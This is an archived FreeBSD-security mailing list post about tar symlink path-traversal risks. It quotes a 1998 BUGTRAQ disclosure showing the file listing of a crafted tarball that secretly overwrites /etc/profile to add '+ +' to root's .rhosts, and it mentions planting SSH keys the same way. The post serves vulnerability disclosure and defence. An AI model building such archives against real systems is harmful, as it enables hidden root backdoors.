On 1 Oct, Brett Glass wrote:
> In the meantime, though, is there a chance that a fix for the vulnerability
> can be slipped into 4.7 prior to release? I'd hate to be exploding a
> tarball, as root, and discover that it had upreferenced to the top of
> the directory tree and installed something nasty. (If such an
> exploit were to hit /etc/crontab, it could run arbitrary code in a
> minute or less -- probably before the admin could react.)

What if the tarball installs a symlink to / under the current directory
followed by files that are unpacked underneath the symlink name? A
simple fix for the initial problem mentioned in this thread isn't
sufficient.

This is hardly a new problem. Here's a 1998 BUGTRAQ message:

] Message-ID: <199809220756.JAA18518aemiaif.lip6.fr>
] Date: Tue, 22 Sep 1998 09:56:46 +0200
] Reply-To: Willy TARREAU <tarreauAEMIAIF.LIP6.FR>
] Sender: Bugtraq List <BUGTRAQnetspace.org>
] From: Willy TARREAU <tarreauAEMIAIF.LIP6.FR>
] Subject: tar "features"
] To: BUGTRAQnetspace.org
]
] Hi all !
]
] After reading all these threads about locate, bash ..., I wondered how tar
] could be abused. Although I didn't find a buffer overflow in a file or
] directory name (fortunately), it came to me a way to make tar overwrite
] absolute files on disk, (given the user has access to it), but I can't find
] how to protect from this because it's based on a perfectly legal behaviour.
] It's based on the symlinks.
]
] Here's an example of a tar file which will overwrite your /etc/profile to
] make it add "+ +" to root's .rhosts next time he logs in. So if part of its
] directory architecture is included in any package, a root user could un-tar
] it to any location without really noticeing that /etc/profile has been
] rewritten.
]
] Of course it would be simpler with only two files, one link to /root and a
] .rhosts, but that becomes really evident when you consult the file before
] extracting it. Note that it could also be interesting to write a key to
] $ANYUSER/.ssh/authorized_keys !
]
] The output of the tar ztvf gives this:
] $ tar ztvf trojanhorse.tar.gz
] drwxr-xr-x willy/users 0 Sep 21 11:43 1998 Src/
] -rw-r--r-- willy/users 46 Sep 21 11:43 1998 Src/Makefile
] -rw-r--r-- willy/users 17 Sep 21 11:42 1998 Src/dummy.c
] lrwxrwxrwx willy/users 0 Sep 21 11:45 1998 src -> Src
] drwxr-xr-x willy/users 0 Sep 21 11:41 1998 Include/
] -rw-r--r-- willy/users 30 Sep 21 11:41 1998 Include/config.h
] lrwxrwxrwx willy/users 0 Sep 21 11:34 1998 include -> /etc
] -rw-r--r-- willy/users 758 Sep 21 11:40 1998 include/profile
] lrwxrwxrwx willy/users 0 Sep 21 11:53 1998 include -> Include
]
] The "src" and "Src" directories are just here to make detection less evident.
] This is the "include" link to /etc which does the work. After processing,
] it's re-linked to "Include" so when tar ends, no trace is kept of what has
] been done, except in /etc/profile.
]
] The file comes here, uuencoded. PLEASE SAVE YOUR /etc/profile before
] extracting it to any place (/tmp, for example). I think that if tar gave
] just a warning each time a file is written after a symlink, and each time
] a symlink points to /something, this could be good, but perhaps someone
] would have a better idea.
]
] Willy
]
] --
] +----------------------------------------------------------------------------+
] | Willy Tarreau - tarreauaemiaif.lip6.fr - http://www-miaif.lip6.fr/willy/ |
] | System and Network Engineer at NOVECOM ( France ) - http://www.novecom.fr/ |
] | Magistere d'Informatique Appliquee de l'Ile de France ( MIAIF ), Year 1997 |
] +----------------------------------------------------------------------------+
]

[ snip ]

To Unsubscribe: send mail to majordomoFreeBSD.org
with "unsubscribe freebsd-security" in the body of the message

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]